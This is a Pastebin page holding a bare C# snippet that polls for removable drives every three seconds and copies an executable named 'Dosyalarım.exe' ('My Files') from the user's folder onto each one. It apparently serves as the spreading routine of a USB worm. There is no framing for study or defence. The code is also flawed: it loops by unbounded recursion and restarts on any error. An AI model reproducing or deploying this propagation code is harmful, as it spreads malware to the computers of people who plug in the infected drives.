Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void DriveDetect()
- {
- try
- {
- DriveInfo[] Drives = DriveInfo.GetDrives();
- String DrivePath = "";
- foreach (DriveInfo Drive in Drives)
- {
- if (Drive.DriveType == DriveType.Removable && Drive.IsReady)
- {
- DrivePath = Convert.ToString(Drive);
- TakeData(DrivePath);
- }
- }
- System.Threading.Thread.Sleep(3000);
- DriveDetect();
- }
- catch (Exception)
- {
- Application.Restart();
- }
- }
- void TakeData(String Drive_Path)
- {
- try
- {
- if (File.Exists(Drive_Path + "Dosyalarım.exe"))
- {
- }
- else
- {
- string kullanıcı = Environment.UserName;
- string dosya = "C:\\Users\\" + kullanıcı + "\\";
- File.Copy(dosya + "Dosyalarım.exe", Drive_Path + "Dosyalarım.exe");
- File.SetAttributes(Drive_Path + "Dosyalarım.exe", File.GetAttributes(Drive_Path + "Dosyalarım.exe") & ~FileAttributes.Hidden);
- }
- }
- catch (Exception)
- {
- Application.Restart();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement